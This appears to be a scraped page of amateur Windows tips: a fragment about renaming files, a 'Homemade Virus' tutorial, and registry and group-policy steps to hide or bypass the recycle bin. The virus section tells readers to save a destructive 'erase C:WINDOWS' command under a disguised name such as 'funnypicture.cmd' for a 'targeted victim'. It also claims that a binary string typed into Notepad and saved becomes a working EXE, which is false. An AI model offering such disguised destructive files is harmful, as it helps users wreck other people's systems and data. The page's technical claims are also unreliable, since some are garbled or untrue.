Then, find where ever you saved it, click on it, say yes, and BAM!

Then whenever you want to rename it just right-click and select rename!

How to make a Homademade Virus

How to make a Homemade Virus

Caution: This is a virus that can do alot of damage and sometimes cause the victim to rebuy Windows XP/Linux. Do NOT just use this because you are mad at a friend. I am in no way responible for anything you do

What this virus does is completely and permanently delete Windows or Linux depending. Please read the caution at the top.

1) - Write The Following In Notepad Exactly as it says
Code:
01001011000111110010010101010101010000011111100000

2) - Save the file as an EXE (Click File-->Save as...-->and erase what ever is there and type in something like funnystuff.exe).

3) - To test it, create a text file called "TEST.txt"(just leave it blank) and save it in 'My Documents' or something in your C: drive.
Now in a NEW notepad type "erase C:TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C: and you'll see your Test.txt is gone. Now, the real work begins:

4) - Go to Notepad and type "erase C:WINDOWS" (or C:LINUX if your targeted victim has linux) and save it again as funnypicture.cmd or something.

5) - DON'T EVER run the file or you'll lose your WINDOWS map. So, that's the virus.

Deleting recycle bin

Deleting recycle bin

Start] [Run] [Regedit]Registry Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BitBucketModify/Create the Value Data Type(s) and Value Name(s) as detailed below.Data Type: DWORD // Value Name: NukeOnDeleteSetting for Value Data: [0 = Use Recycle Bin / 1 = Permanently Delete]Exit Registry and Reboot

Another Method:

start->run->gpedit.msc-> user configuration ->desktop->remove recycle bin from desktop->double click->change it not configured to enable->apply and ok.

Now come to start->run->gpupdate.exe and press enter.

Your recycle bin icon is gone from desktop nad you will need to revert your settings for get that back.

After reverting setting make sure to run gpupdate.exe command .